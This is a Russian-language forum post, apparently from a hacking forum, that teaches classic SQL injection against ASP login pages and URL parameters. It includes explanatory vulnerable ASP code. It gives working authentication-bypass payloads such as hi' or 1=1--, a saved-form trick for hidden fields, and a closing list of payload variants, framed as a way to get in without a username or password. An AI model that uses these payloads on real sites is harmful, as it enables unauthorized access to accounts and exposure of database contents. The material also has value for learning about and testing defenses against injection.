|
Новичок
Регистрация: 14.09.2007
Сообщений: 8
Провел на форуме: 158458
Репутация:
8
|
|
Как мне проверить что то, что я нашел, уязвимость?
Попробуйте начать с одиночной кавычки. Введите следующую строку:
hi' or 1=1--
в поле имя пользователя или пароль, или даже в URL параметре. Пример:
Login: hi' or 1=1--
Pass: hi' or 1=1--
http://duck/index.asp?id=hi' or 1=1--
Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1-- ">
</FORM>
Если удача на вашей стороне, вы войдете в систему без имени или пароля.
Но почему ' or 1=1--?
Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:
http://duck/index.asp?category=food
В URL, 'category' это имя переменной, и 'food' значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:
SELECT * FROM product WHERE PCategory='food'
Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:
http://duck/index.asp?category=food' or 1=1--
SELECT * FROM product WHERE PCategory='food' or 1=1--
Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".
Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:
' or 'a'='a
Теперь SQL запрос станет:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Этот запрос возвратит тот же самый результат.
В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
|